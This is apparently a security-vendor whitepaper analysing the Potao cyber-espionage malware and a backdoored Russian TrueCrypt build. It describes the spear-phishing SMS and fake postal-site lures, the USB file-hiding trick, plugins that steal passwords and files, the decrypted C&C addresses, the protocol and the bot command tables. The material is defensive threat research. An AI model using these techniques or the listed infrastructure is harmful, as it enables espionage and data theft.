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.23 Figure 31  String decryption algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.24 Figure 32  Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid  .
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.24 Figure 33  Trojanized Russian TrueCrypt .
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.25 5 ATTACK TIMELINE The Potao malware family is not new: it was first seen used in attacks in 2011.
One of the reasons why no comprehensive research on this family has been published until today might be the fact that between 2011 and 2013 the number of detections was relatively low.
A significant rise in malware prevalence was observed by ESET LiveGrid in 2014 and 2015 (Figure 1).
Figure 1  Detection statistics for Win32/Potao according to ESET LiveGrid We omitted detection statistics for 2011 from the chart above because at that time the malware appeared to spread as regular crimeware, i.e.
it was spreading in many different countries and these waves were most probably unrelated to the targeted and semi-targeted attacks seen in the subsequent years.
Debugging versions detected in 2013 are also excluded from the chart.
Many of the Potao campaigns in the past bear the characteristics of a targeted attack (APT).
Yet, interestingly, the same malware family was also used in mass infections detected on a large number of seemingly unrelated hosts.
While this hybrid approach to malware dissemination might seem strange, it has been observed before.
The BlackEnergy trojan, for example, was used in targeted attacks against certain high-profile targets but its spreading went beyond just the few targeted organizations2.
Similarly, the outbreak of Stuxnet was the reason why the notorious malware was discovered, although in that case, by mistake.
From our analysis of Potao campaigns over the past five years, it seems that the mass-spread infections were used to test and debug the trojan in preparation for upcoming targeted attacks.
Similar debug runs of new versions of targeted malware by massively infecting a wide range of test victims is an interesting but not uncommon technique used by professional APT groups.
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives.
2) Either as collateral damage, or for unknown reasons.
400 350 300 250 200 150 100 50 0 2012 2013 2014 2015 Russia Ukraine Georgia Belarus 6 Figure 2  Timeline of selected Potao campaigns The timeline in Figure 2 lists a selection of Potao attack campaigns and other important events, according to dates when they were first detected by ESET, or by the compilation timestamps in the binaries.
A more comprehensive listing of representative campaigns, with their compilation timestamps, unique campaign IDs3 and malware version numbers can be found in Appendix B.
Lets take a closer look at some of the more significant campaigns.
Campaigns in 2011 The first Potao campaign that we examined took place in August 2011.
It was a mass-spreading campaign4.
The binaries used in this campaign contained an encrypted string: GlobalPotao, hence the name of the malware family.
The infection technique used by the first campaign, and also by campaigns in the following years, was trivial, yet effective.
The Potao trojan-droppers arrived (commonly via phishing emails) at victims systems in the form of executables with the icon of a Microsoft Word document, to trick the users into opening them and thereby running the malware.
No software exploits were needed.
Apart from the malicious payload, the droppers usually also contained a decoy document that was displayed to the victim.5 Figure 3  Example decoy document from the first Potao campaigns 3) The Campaign IDs are unique text strings used to identify individual infections or infection attempts by the Potao malware operators.
The combinations of letters and numbers used can sometimes reveal information about the campaign and targets.
For example, a campaign with the Campaign ID perm was detected in the Russian province of Perm, campaigns labeled mmmL and NMMM were most likely related to tracking members of the MMM Ponzi scheme, and so on.
4) The outbreak of early Win32/Potao versions is mentioned in this Cisco alert 5) This technique is a common one, also used by other malware groups and to spread other malware families, for example Korplug (PlugX).
SEP 2013 MAR 2014 MMM Campaigns USB Spreading Fake TrueCrypt Georgian campaign Shift to focus to Ukraine Attacks against government and military Postal Service Campaigns WordAirpost.net WordAirpost.comMNTExpress debug versions AUG 2014 Grandtorg certicate granted and subsequently revoked OCT 2013 OCT 2013 1st appearance SEP 2014 - MAR 2015 JUN 2015 Georgian campaign JUL 2015 APR 2012 APR - JUN 2012 1st appearance Armenian Campaign AUG 2011 1st Potao appearance MAY 2011 high prevalence MAR 2015 2011 2012 2013 2014 2015 2016 7 Potao droppers in another campaign detected in 2011 were using a decoy document in the Armenian language.
Interestingly, the decoy was a legitimate document that belonged to the Armenian Ministry of Labor and Social Affairs.
Figure 4  Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign The MMM campaigns MMM is one of the worlds largest Ponzi schemes of all time.
We wont go into details about the Russian financial pyramid and its author, as these can easily be found online.
Binaries in the first detected MMM-related Potao campaign had a compilation timestamp April 27, 2012 and a campaign ID 00km.
The social-engineered decoy document pretends to be from someone wanting to join the pyramid scheme: Figure 5  Decoy document from 1st MMM-related campaign 8 A loose translation of the Russian text: I do business in the construction industry.
Id like to invest about 500k rubles.
I want to invest with a highest yield.
I hope you will help me.
Another campaign detected not long after the first one used decoy documents with random Cyrillic characters.
As we discovered later, the use of documents that appear corrupted, because of the garbage text used, seems to be a kind of trademark for this group.
Figure 6  Decoy document from another MMM-related campaign The file name in the example above was     .exe (Payment report for Kovaleva Alexandra) and this time, the campaign ID actually confirms the connection to the Ponzi scheme: mmmL.
On June 19, 2012, Sergei Mavrodi, the inventor of MMM, stated in a blog post that someone trying to impersonate him was sending out spear phishing emails to members of MMM that contained a link to malware hosted on Dropbox.
Figure 7  Warning announcement on Sergei Mavrodis blog 9 Figure 8  Win32/Potao hosted on Dropbox The filenames used were    or anketa_i_pravidla (Questionnaire and rules), compilation timestamp June 13, 2012 and campaign ID NMMM.
The specific targeting of these campaigns suggests that the operators of the Potao malware toolkit were trying to track or spy on members and/or organizers of the financial pyramid scheme.
A wedding invitation in Georgia In 2013 the Potao malware was also detected in Georgia.
The file, compiled on October 15, 2013, was named Wedding_invitation.exe and showed the victim a decoy wedding invitation.
It is interesting to note that both the file name and the wedding invitation were in English.
Figure 9  Georgian decoy wedding invitation Shift of focus to Ukraine Before we observed a rise in Win32/Potao detections in Ukraine in 2014, ESET detected several debug versions of the malware in autumn 2013.
We can assume that this was in preparation for the Ukrainian targeted attacks.
10 Figure 10  Debug versions of Win32/Potao6 One of the campaign IDs in these debug waves was krim (Russian for Crimea).
Postal-service campaigns In March 2014, the gang behind Potao started using a new infection vector.
They created a malicious landing webpage called MNTExpress.
The website was apparently inspired by the site of the legitimate Russian postal service Pony Express.
Figure 11  Legitimate Pony Express website Figure 12  Fraudulent MNTExpress website 6) The text strings shown in the screenshot are not present in regular release versions of the trojan.
11 Posing as a parcel tracking receipt or an invoice is a very common technique for spreading malware.
Instructions to download the malicious bait are usually sent in waves of phishing emails.
The Potao gang, however, used a different approach.
The targets of their interest were sent an SMS message that contained a link to the fraudulent landing webpage, along with a specific tracking code and the recipients name.
This approach indicates very specific targeting of the attacks, since: The attackers had prior knowledge of the victims full names and their cellphone numbers.
The delivered binaries were tailored to the victim.
In order to download a sample of Win32/Potao, it was necessary to enter a specific tracking code into the web form.
Figure 13  Spear-phishing SMS Figure 14 shows a recipient inquiring about the SMS on a Vkontakte discussion forum: Figure 14  SMS recipient seeking information on discussion forum 12 The same infection scenario was used approximately one year later, in March 2015.
This time, the attackers registered the domain WorldAirPost.com and the website design was stolen from Singapore Post.
Curiously, the attackers changed the Singapore Post logo to Italy Post: Figure 15  Legitimate website of Singapore Posts Speedpost service Figure 16  Fraudulent WorldAirPost.com website At the time of writing the attackers are still active, having registered WorldAirPost.net in June 2015.
It is also interesting to note that while the MNTExpress websites contained both Russian and English language mutations, WorldAirPost was only in English.
13 Interestingly, the Potao droppers served in these campaigns were not disguised as Word documents but Excel spreadsheets.
Also, instead of popping up a decoy document, a fake excuse dialog box is shown (Figure 17): Figure 17  Pop-up message explaining why no Excel document was opened Attacks against Ukrainian government and military Since March 2015, ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies.
The infection vector used in these attack waves was again an executable with a MS Word document icon and this time cleverly chosen filenames to increase the likelihood that the recipient would open the bait: Figure 18  Potao droppers with MS Word icons and file names to attract the recipients interest7 The topics in the file names correspond to the fact that government and military officials were targeted.
The decoy documents displayed once again appeared corrupted.
Figure 19  One of the corrupted-looking decoy documents from March 5, 2015 7) The acronym ATO refers to Anti Terrorist Operation in Eastern Ukraine.
The same theme was used to spread the BlackEnergy trojan.
Table of prisoners of Ukrainian armed forces on 05.03.2015 Exempted military persons between 06.09.2014 and 05.03.2015 Exempted from captivity for Chief of the General Staff on 05.03.2015 List of captured during the ATO on 05.03.2015 14 TrueCrypt Russia During our monitoring of the Potao botnet, we discovered infections that originated from a rather suspiciously-named trojan dropper and an even more suspicious website.
We found out that instances of Win32/Potao were being launched by a dropper named TrueCrypt.
exe.
That wouldnt be too surprising, since malware operators often use file names that resemble legitimate applications, but in this case the dropper was a binary of the actual, now discontinued, TrueCrypt encryption software.
Investigating further, we discovered that not only was the Potao malware installed by a trojanized version of TrueCrypt but it had also been downloaded from the website truecryptrussia ru, which offers downloads of the abovementioned TrueCrypt binaries.
Finally, we discovered that the domain in question was also used as a malware CC server, and thus truecryptrussia.ru being a fraudulent website operated by the attackers seems to be the likelier explanation than merely being a legitimate website compromised by them.
To sum it up, the website and software of TrueCrypt Russia was found guilty of: 1.
Hosting trojanized (backdoored) versions of the TrueCrypt encryption software.
(
See the Win32/FakeTC section for a technical analysis of the backdoor.)
2.
Hosting the Win32/Potao malware.
3.
Acting as a CC server for abovementioned trojanized TrueCrypt.
Note, however, that not every download of the TrueCrypt software from the Russian website is malicious or contains a backdoor.
The malicious versions of the software are served only to selected visitors, based on unknown specific criteria.
This lends additional evidence to the view that the operation is run by a professional gang that selectively targets their espionage victims.
Figure 20  Website of TrueCrypt Russia According to ESETs LiveGrid telemetry, the Russian TrueCrypt website has been serving malware since at least June 2012.
The served binaries timestamps date the earliest trojans to April 2012.
15 Georgian campaign As confirmation that the malware writers are still very active even at the time of this writing, ESET detected a new Potao sample compiled on July 20, 2015.
The file was targeted (and detected) against a victim in Georgia.
Unlike the previous campaigns, the displayed decoy was not a Word document but a PDF file.
Figure 21  Georgian decoy document WIN32/POTAO  TECHNICAL ANALYSIS In this section well describe the technical aspects of the Win32/Potao trojan, from the malware architecture, CC communication, analysis of plugins, and description of infection vectors, including USB spreading functionality, to the anti-reverse engineering techniques used.
From a functional, high-level perspective, the malware family shares many common characteristics with the BlackEnergy trojan.
A feature comparison with BlackEnergy can be found in Appendix A and Indicators of Compromise (IoC) are listed in Appendix C. The following paragraphs present an overview of Win32/Potao functionality, focusing on its unique features.
Before we move on to the actual analysis of the malware, lets look at where the family got its name.
The malware binaries from the first detected campaign contained an encrypted string GlobalPotao.
In other samples of the same family that ESET detected throughout the years, the malware has also gone by the names Sapotao and node69 as seen in its own DLL filenames names and PDB paths left inside the binaries: 16 Figure 22  PDB paths containing Potao, sapotao and node69 The Potao family is a typical cyberespionage trojan, and as such it implements all the necessary functionality to exfiltrate sensitive information from the infected users system and send it to the attackers remote server.
Infection vectors  persistence Similarly to most other trojan families, Win32/Potao arrives at the victims computer system in the form of a trojan dropper that acts as an installer for the malware.
We have observed several infection vectors used to distribute the trojan, as described in the Attack timeline section.
Tosummarize: Executables masquerading as Word, Excel, and PDF documents.
These were propagated through fake postal service websites and SMS links, and possibly also through phishing emails Worm-like USB spreading functionality Fake TrueCrypt software  see Win32/FakeTC for the technical analysis The dropper itself is usually in two stages.
The first stage, for example, in the form of an executable with an icon of a MS Word document, merely drops the second stage dropper into the temp directory, executes it, and at the same time drops the embedded decoy document into the current working directory and opens it.
The second stage dropper unpacks the main DLL from within itself using RtlDecompressBuffer.
TheDLL is dropped to the following path, loaded and injected into explorer.exe: APPDATA\Microsoft\LUID.dll8 Before the DLL is dropped to the drive, however, a simple trick is applied.
The Potao dropper patches the name of the Enter export function in the DLL files export address table to the LUID value.
Figure 23 shows the patching function and an example where Enter was renamed to _85fc.
As a result, every dropped instance of the DLL will have a unique binary hash.
8) LUID signifies the LUID structure, which is used as a unique identifier for the infected bot 17 Figure 23  Patch of export function name before dropping the main DLL The trojan uses standard methods for loading its DLL  via rundll32.exe  and for maintaining persistence, by setting the Run registry entry: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] LUID Win32/Potao  Architecture The Potao trojan features a modular architecture and its functionality can be expanded with additional downloadable plugins.
Figure 24  Win32/Potao architecture explorer.exe \\.\pipe\\name chrome.exe iexplore.exe Skype.exe Opera.exe firefox.exe uTorrent.exe safari.exe plugin plugin plugin CC 18 When the malware is installed, its main DLL will be injected into the explorer.exe process.
After having passed a mutex check, this instance will try to inject itself into the address space of several running legitimate and Internet-facing processes (browsers, Skype and uTorrent).
With this setup, theinstance injected within explorer.exe is responsible for loading and communicating with the Potao plugins, while the instances within the Internet-facing processes takes care of communication with the CC server.
The two instances communicate via a named pipe.
Plugins overview The Potao main DLL only takes care of its core functionality the actual spying functions are implemented in the form of downloadable modules.
The plugins are downloaded each time themalware starts, since they arent stored on the hard drive.
Win32/Potao supports two types of plugins.
The first type is Full Plugin9 and its export function is called Plug.
The second is Light Plugin with an export function Scan.
The difference between the two types is how they execute and return desired information.
Full plugins run continuously until the infected system is restarted, while Light plugins terminate immediately after returning a buffer with the information they harvested off the victims machine.
It is worth mentioning that some of the plugins we observed during our monitoring of the Potao botnet were signed with a certificate issued to Grandtorg: Figure 25  GrandTorg certificate details The name Grand Torg sounds like Great Market in Russian, a rather common term we werent able to identify an institution with that name.
The certificate Serial Number is: 0453B96EB039AFD6C9988C8CB698E7C9 and its effective Revocation Time: Aug 19 00:00:00 2014 GMT Since the Revocation Time is the same as the Valid from time, all signatures made with this certificate have been rendered invalid after the revocation request was issued.
This strongly suggests that the certificate has only been used for nefarious purposes, as opposed to having been stolen from a legitimate company.
Table 1 contains a list of Potao plugins that we have encountered10.
9) Full Plugin and Light Plugin are terms used by the actual malware authors in debug builds of the trojan.
10) It is quite possible that we have not seen all existing plugins, so the list may be incomplete.
19 Filename Type Description GetAllSystemInfo.dll Light Collects various kinds of system information, including: system identifying information, proxy and language settings, lists of processes, installed software, recently opened files, and so on.
GetAllSystemInfo.dll Light This plugin contains different functionality from the other plugin with the same file name.
It collects browsing history from Google Chrome, Mozilla Firefox and Opera.
FilePathStealer.dll Full Enumerates all drives and creates a list of potentially interesting files: images and documents.
The plugin searches for files with the following extensions: JPG, BMP, TIFF, PDF, DOC, DOCX, XLS, XLSX, ODT, ODS.
task-diskscanner.dll Full Like the FilePathStealer.dll plugin, this one also enumerates potentially interesting files.
It looks for document extensions and common history, settings and cookie files belonging to Internet browsers.
After the search, the found files are sent to the CC.
KeyLog2Runner.dll Full Logs key strokes  clipboard data from most common Internet browsers and Skype.
PasswordStealer.dll Light Decrypts and steals passwords and settings from different browsers and email clients.
Screen.dll Light Captures screenshots.
Poker2.dll Light Disables spreading through USB drives, deletes specific Registry keys, and kills processes belonging to the malware.
loader-updater.dll Light Updates the trojan.
Table 1  Win32/Potao plugins CC communication protocol The Win32/Potao samples that weve analyzed contained several different CC IP addresses encrypted in their bodies.
For example one sample had the following hard-coded list of IPs, after decryption: 87.106.44.200:8080 62.76.42.14:443 62.76.42.14:8080 94.242.199.78:443 178.239.60.96:8080 84.234.71.215:8080 67.103.159.141:8080 62.76.184.245:80 62.76.184.245:443 62.76.184.245:8080 The malware randomly picks one of these IP addresses and makes an attempt to establish a connection.
As can be seen from the ports in the list above, the HTTP or HTTPs protocols can be used for communication with the remote server.
The communication uses strong cryptography in two stages.
The first stage is the key exchange and the second stage is the actual exchange of data.
This simple yet secure communication scheme is explained in Figure 26.
20 Figure 26  Potao key exchange and CC communication scheme generates new  signs it with its has embeded in its code: RSA-2048 public key RSA-2048 private key RSA-2048 public key connection attempt 14 verifies the signature with obtains new generates new encrypts it with the new RSA-2048 public key the RSA-2048 public key RSA-2048 public key MALWARE CC SERVER possesses: RSA-2048 private key RSA-2048 public key RSA-2048 private key RSA-2048 public key obtains the AES-256 symmetric key AES-256 symmetric key decrypts it with its RSA-2048 private key AES-256 symmetric key AES-256 symmetric key encrypts the request data with AES-256 symmetric key REQUEST DATA REQUEST DATA13 decrypts the request data 21 When the malware first contacts the CC server (1) it sends a POST-request as shown in the example in Figure 27.
The data sent is encapsulated using the XML-RPC protocol.
Interestingly, the used methodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic that weve analyzed.
Figure 27  Initial POST request sent to CC After receiving the request the CC server generates an RSA-2048 public key (2) and signs this generated key with another, static RSA-2048 private key (3).
Figure 28 shows an example server response (4): Figure 28  CC server response with base64-encoded RSA-2048-signed generated RSA-2048 public key When the malware receives this new RSA-2048 key it performs a signature verification using a corresponding static public key, which is embedded in the binary (5).
If the signature is correct then the newly-received generated public key (6) will be used to encrypt the next step in communication.
22 The embedded static RSA-2048 public key: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApiLYPP8Z2BPuAqq4IzJ9 TdSwDFl7IcuHidKRrxyEl8YtbD0rqmPhBL1R50gl5/rUYuT87rhWhvBGUTXxRv4u Ga7YIs9r0ymdQtmjAXDvbY01U51mKHm7894diVBhQ46sznudrJSz82VJXzbZ9NN fBUFiDQFj5DijnZJfeR/Jb/DD9oRTUJNeV1KIQeLZDUFHkCVp837roAprSyJpR 005EtiBgSQ7KO9GSKqxqzE5htdMX74n4kwmw/vRGi/c66a7/XlvCW1l0SWxowXO0 xqje04bbjzF9CINcvDBuVxlFznCOw51MUlO38lHJEpTrrQKSeMBSqMPunVF25At KQIDAQAB -----END PUBLIC KEY----- In the second stage the malware generates a symmetric AES-256 key (7).
This AES session key is encrypted with the newly received RSA-2048 public key (8) and sent to the CC server (9).
The actual data exchange (13) after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key (12).
Leaving aside the trojans implementation of cryptography the actual communication protocol is very simple.
The malware sends an encrypted request to the server, as illustrated by the following (decrypted) example: id4699807581825067201maptcode0sdataver:5.1.2600 lv:2.8.0002 comp:COMPUTER adm:1 x:0 p:firefox.exemd5dlen0 This request contains a computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.
The server responds with the following data: codeCMDdataPAYLOAD_BASE64_ENCODEDdlenPAYLOAD_LENGTHmd5MD5 The code value represents the type of command that the bot is instructed to execute.
The possible commands are listed in Table 2: Command Description 2 Drop executable to TEMP and execute via CreateProcess function 3 Execute plugin module 4 Drop executable to TEMP and execute via ShellExecuteEx function 0 or 8 or any other Dummy command Table 2  Win32/Potao CC commands Spreading via USB In several spreading campaigns, the Potao gang has used an additional vector to disseminate the malware: through USB drives.
While so-called Autorun-worms11 used to be quite common, Win32/Potao took a different approach to USB infections.
Instead of dropping an autorun.inf file to the root folder of removable drives, the USB spreading component of Potao uses a different, simple yet effective trick to store its executable on the USB media.
The code responsible for USB infections will copy the Win32/Potao dropper into the root directory of all removable media drives.
The filename is selected to match the disk label and the icon for removable media devices is used.
At the same time, all other files and folders that were already present on the drive have their attributes set to Hidden and System.
11) Worms that misused the Windows AutoPlay functionality through autorun.inf files 23 Figure 29  Trick for spreading via USB removable media In effect, with the default Windows settings of hiding file extensions, the user will only see a disk drive icon with the same label as the actual USB drive in Windows Explorer.
This social engineering trick has fooled a number of victims into willingly running the malware.
Win32/Potao anti-reverse engineering techniques The Potao trojan implements several tricks to make the analysis of the malware harder for reverse- engineers.
One of them is using hashes of WinAPI functions instead of their names: Figure 30  Loading WinAPI functions through hashes This trick is commonly used among various malware families in different implementations the Potao malware uses the MurmurHash2 algorithm for computing the hashes of the API function names.
Another trick implemented in the malware is encryption of strings.
The decompiled decryption algorithm is shown in Figure 31.
24 Figure 31  String decryption algorithm The strings are encrypted using an XOR operation with 4-byte length key.
This key may be different in different samples.
WIN32/FAKETC  FAKE TRUECRYPT ANALYSIS The malware described in this section is a different family altogether from Win32/Potao.
In this section we describe how the trojanized version of the open-source TrueCrypt software is used to exfiltrate files from the espionage victims encrypted drives.
The relation to Potao is explained in an earlier section of the whitepaper.
Figure 32  Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid 25 Figure 33 shows the interface of the trojanized Russian TrueCrypt application.
Figure 33  Trojanized Russian TrueCrypt The malicious program code within the otherwise functional TrueCrypt software runs in its own thread.
This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the CC server, ready to execute commands from the attackers.
The backdoor functionality is only contained within the applications GUI modules the digitally signed TrueCrypt drivers remained intact.
The conditions that must be satisfied before the bot contacts the CC server for commands are: The number of files on the encrypted drive has to be greater than 10 The encrypted drive must have been mounted at least 4 times The available commands are listed in Table 3: Command Description idle Sleep for 1 second who Collect Windows version, Computer name, Username list Enumerate files on all disks (skipping C:\Windows and .exe, .dll) listContainer Enumerate files on mounted container rep Steal password for encrypted container file Steal file filem Steal file by mask re Download and execute file rd Download and execute DLL file (plugin) without storing on disk Table 3  Win32/FakeTC CC commands 26 As can be seen from the available commands, the Win32/FakeTC malware is a fully featured espionage trojan with the ability to extend its capabilities with downloadable plugins.
Also, the implemented stealth techniques  serving the trojanized version only to selected targets, and only activating the malicious functionality for active, long-term TrueCrypt users  are probably the reasons why the malware has been undetected for so long.
CONCLUSION In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples.
Potao is another example of targeted espionage malware, a so-called APT, to use the popular buzzword, although technically the malware is not particularly advanced or sophisticated.
On the contrary, the Potao gang has demonstrated that long-running, effective cyber-espionage can be carried out through carefully devised tricks and social-engineering, without the need for exploits.
Examples of notable Potao dissemination techniques, some of which were previously unseen, or at least relatively uncommon, include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into willingly executing the trojan.
But perhaps the most intriguing discovery was the connection to the trojanized Russian version of popular TrueCrypt encryption software and the truecryptrussia.ru website that both served TrueCrypt with an added backdoor to selected targets, and also acted as a malware CC server.
All of the findings presented in this paper indicate very APT-like behavior and specific targeting of victims by the Potao operators.
The open question remains: who might be interested in spying on both Ukrainian government and military entities, a news agency, members of a Ponzi scheme popular in Russia and Ukraine, and other victims  known and unidentified?
Since we dont like to speculate without hard evidence, well leave the question of attribution for an open discussion.
Nevertheless, the facts are that several high-value Ukrainian targets were targeted by the malware, along with a significant number of victims in other CIS countries, including Russia.
27 APPENDIX A  COMPARISON WITH BLACKENERGY (THE TROJAN USED BY THE SANDWORM / QUEDAGH GROUP) Potao BlackEnergy 1st appearance 2011 2007 ESET detection name Win32/Potao Win32/Rootkit.
BlackEnergy Aliases Sapotao, node69 Sandworm, Quedagh Targeting Targeted, mass-spreading debug versions Targeted, but also detected on computers of a large number of victims Most targeted countries Ukraine, Russia, Georgia Ukraine, Poland Notable targets Ukrainian government  military institutions, news agency, members of MMM pyramid scheme, and others Ukrainian government  military institutions, companies and individuals in Ukraine and Poland Distribution vectors Spear-phishing, SMS, postal websites, executables masquerading as Word or Excel docs, USB worm, trojanized TrueCrypt Spear-phishing, documents with exploits (RTF CVE-2014-1761, PPTS CVE-2014-4114, ), executables masquerading as Word or Excel docs, parasitic virus, network spreading, infected Juniper installers, Java, TeamViewer, Architecture Modular with downloadable plugins Modular with downloadable plugins Discovered plugins File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, USB worm component File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, network discovery  remote execution, parasitic infector, system destroyer, remote login, and so on.
Use of exploits no Yes, including 0-days (CVE-2014-4114) Rootkit, driver component no Yes, in early versions.
Not in BlackEnergy Lite (v3) variant.
Notable techniques and features Trojanized TrueCrypt, USB spreading mechanism, DLL export function name patch Windows MUI abuse, bypassing UAC through shims (MACT), config as X.509 certificate, remote access when TeamViewer installed, use of PowerPoint 0-day exploit (CVE- 2014-4114) for spreading, trojan- downloaders for SCADA ICS systems CC communication encryption AES and RSA-2048 Modified RC4 Table 4  Similarities and differences between Win32/Potao and Win32/Rootkit.
BlackEnergy 28 APPENDIX B  DETAILS OF WIN32/POTAO SAMPLES CAMPAIGNS Main DLL PE timestamp Main DLL Version Campaign ID Apr 27 09:13:23 2012 0 00km May 12 14:01:30 2012 2 mmmL Jun 13 09:11:58 2012 2 NMMM Oct 22 13:35:02 2012 2.3 GEUN Nov 13 14:54:20 2012 2.4 _NAK Dec 05 10:37:14 2012 2.4 ANOS Apr 28 11:10:29 2013 2.6 2804 May 30 10:42:17 2013 2.6 _nal Jun 26 16:53:02 2013 2.6 _b01 Jul 02 12:28:08 2013 2.6 sb01 Aug 27 14:26:59 2013 2.6 perm Oct 15 09:31:32 2013 2.6 o003 Oct 16 09:55:46 2013 2.6 sb02 Oct 18 16:10:47 2013 2.6 psih Nov 19 11:14:04 2013 2.6 ber1 Nov 19 11:31:59 2013 2.6 us11 Feb 19 09:30:06 2014 2.7 t001 Apr 08 12:40:43 2014 2.6 ap01 Aug 21 10:54:56 2014 2.7 rk02 Aug 21 14:58:34 2014 2.7 rk02 Sep 02 12:39:46 2014 2.7 mt01 Sep 02 14:22:20 2014 2.7 mtu2 Oct 10 12:38:22 2014 2.7 mt01 Oct 15 15:16:44 2014 2.7 tk02 Oct 15 15:22:49 2014 2.7 comm Oct 15 15:26:19 2014 2.7 rk02 Oct 15 15:51:31 2014 2.7 mtu2 Oct 31 14:58:01 2014 2.7 mt01 Nov 07 14:10:38 2014 2.7 rk03 Nov 10 13:00:43 2014 2.7 mtu3 Nov 11 13:46:58 2014 2.7 udif Nov 13 11:14:22 2014 2.7 vou0 Nov 19 11:16:33 2014 2.7 rk03 Nov 20 12:29:01 2014 2.7 udif Nov 20 12:32:06 2014 2.7 mtu3 Nov 21 13:09:55 2014 2.7 rk03 Dec 06 09:31:38 2014 2.8.0001 mt10 Dec 08 13:51:03 2014 2.8.0001 rk0S Dec 15 12:05:05 2014 2.8.0001 rk0S Dec 17 10:02:00 2014 2.8.0001 mtuS Dec 18 09:58:06 2014 2.8.0001 udi2 Dec 18 12:53:18 2014 2.8.0001 rko3 29 Main DLL PE timestamp Main DLL Version Campaign ID Jan 20 15:23:34 2015 2.8.0001 vouF Jan 20 15:27:46 2015 2.8.0001 dpcF Jan 23 10:39:28 2015 2.8.0001 dpcu Feb 17 13:07:24 2015 2.8.0002 dpcF Feb 17 13:30:10 2015 2.8.0002 rk0F Mar 03 16:26:36 2015 2.8.0002 ufbi Mar 06 13:33:07 2015 2.8.0002 ufbi Mar 13 12:42:14 2015 2.8.0002 dpcF Apr 16 13:18:08 2015 2.8.0002 mapt Apr 23 15:43:31 2015 2.8.0002 mapt Apr 28 08:27:04 2015 2.8.0002 mapt May 20 09:27:20 2015 2.8.0002 mapF May 20 10:21:14 2015 2.8.0002 tk03 Jun 18 10:55:49 2015 2.8.0002 mapt Jul 16 18:26:08 2015 2.8.0002 mapt Jul 20 09:16:21 2015 2.8.0002 bhaz Table 5  Win32/Potao sample details 30 APPENDIX C  INDICATORS OF COMPROMISE (IOC) Users of ESET security software are fully protected from the Potao malware described in this paper.
Additionally, ESET will provide further information regarding this threat to any individuals or organizations that may be infected  either currently or in the past.
Contact email: threatinteleset.com For convenience, we also uploaded the Potao IOCs to github: https://github.com/eset/malware-ioc/ tree/master/potao SHA1 hashes: Early Potao versions: 8839D3E213717B88A06FFC48827929891A10059E 5C52996D9F68BA6FD0DA4982F238EC1D279A7F9D CE7F96B400ED51F7FAB465DEA26147984F2627BD D88C7C1E465BEA7BF7377C08FBA3AAF77CBF485F 81EFB422ED2631C739CC690D0A9A5EAA07897531 18DDCD41DCCFBBD904347EA75BC9413FF6DC8786 E400E1DD983FD94E29345AABC77FADEB3F43C219 EB86615F539E35A8D3E4838949382D09743502BF 52E59CD4C864FBFC9902A144ED5E68C9DED45DEB 642BE4B2A87B47E77814744D154094392E413AB1 Debug versions: BA35EDC3143AD021BB2490A3EB7B50C06F2EA40B 9D584DE2CCE6B654E62573938C2C824D7CC7D0EB 73A4A6864EF68C810C7C699ED51B759CF1C4ADFB 1B3437C06CF917920688B25DA0345749AA1A4A46 Droppers with decoy documents: FBB399568E0A3B2E461A4EB3268ABDF07F3D5764 4D5E0808A03A75BFE8202E3A6D2920EDDBFC7774 BCC5A0CE0BCDFEA2FD1D64B5529EAC7309488273 F8BCDAD02DA2E0223F45F15DA4FBAB053E73CF6E 2CDD6AABB71FDB244BAA313EBBA13F06BCAD2612 9BE3800B49E84E0C014852977557F21BCDE2A775 4AC999A1C54AE6F54803023DC0FCF126CB77C854 59C07E5D69181E6C3AFA7593E26D33383722D6C5 E15834263F2A6CCAE07D106A71B99FE80A5F744B A62E69EF1E4F4D48E2920572B9176AEDB0EEB1C6 900AD432B4CB2F2790FFEB0590B0A8348D9E60EB 856802E0BD4A774CFFFE5134D249508D89DCDA58 A655020D606CA180E056A5B2C2F72F94E985E9DB 04DE076ACF5394375B8886868448F63F7E1B4DB9 31 Droppers from postal websites: 94BBF39FFF09B3A62A583C7D45A00B2492102DD7 F347DA9AAD52B717641AD3DD96925AB634CEB572 A4D685FCA8AFE9885DB75282516006F5BC56C098 CC9BDBE37CBAF0CC634076950FD32D9A377DE650 B0413EA5C5951C57EA7201DB8BB1D8C5EF42AA1E 0AE4E6E6FA1B1F8161A74525D4CB5A1808ABFAF4 EC0563CDE3FFAFF424B97D7EB692847132344127 639560488A75A9E3D35E4C0D9C4934295072DD89 USB-spreaders: 850C9F3B14F895AAA97A85AE147F07C9770FB4C7 BB0500A24853E404AD6CA708813F926B90B38468 71A5DA3CCB4347FE785C6BFFF7B741AF80B76091 7664C490160858EC8CFC8203F88D354AEA1CFE43 92A459E759320447E1FA7B0E48328AB2C20B2C64 BB7A089BAE3A4AF44FB9B053BB703239E03C036E DB966220463DB87C2C51C19303B3A20F4577D632 37A3E77BFA6CA1AFBD0AF7661655815FB1D3DA83 181E9BCA23484156CAE005F421629DA56B5CC6B5 A96B3D31888D267D7488417AFE68671EB4F568BD 224A07F002E8DFB3F2B615B3FA71166CF1A61B6D 5D4724FBA02965916A15A50A6937CDB6AB609FDD 8BE74605D90ED762310241828340900D4B502358 5BE1AC1515DA2397A7C52A8B1DF384DD938FA714 56F6AC6197CE9CC774F72DF948B414EED576B6C3 F6F290A95D68373DA813782EF4723E39524D048B 48904399F7726B9ADF7F28C07B0599717F741B8B 791ECF11C04470E9EA881549AEBD1DDED3E4A5CA E2B2B2C8FB1996F3A4A4E3CEE09028437A5284AE 5B30ECFD47988A77556FE6C0C0B950510052C91E 